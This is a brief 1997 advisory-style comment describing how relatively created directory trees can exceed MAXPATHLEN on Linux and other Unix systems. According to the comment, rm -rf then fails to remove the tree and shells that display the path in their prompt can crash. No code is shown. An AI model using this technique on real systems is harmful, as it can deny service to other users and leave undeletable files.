# Problem: Long pathnames are possible (> MAXPATHLEN) by creating directory
# trees relatively, causing various problems on the system.
#
# May 27, 1997
#
# Systems: Linux, probably some other unix's also.
#
# rm -rf will fail to remove it, as rm -rf will try to remove it using absolute
# pathnames which are long. If the current directory is in the prompt, then
# this overflows, typically crashing the shell. Any programs that use absolute
# pathnames will have problems.
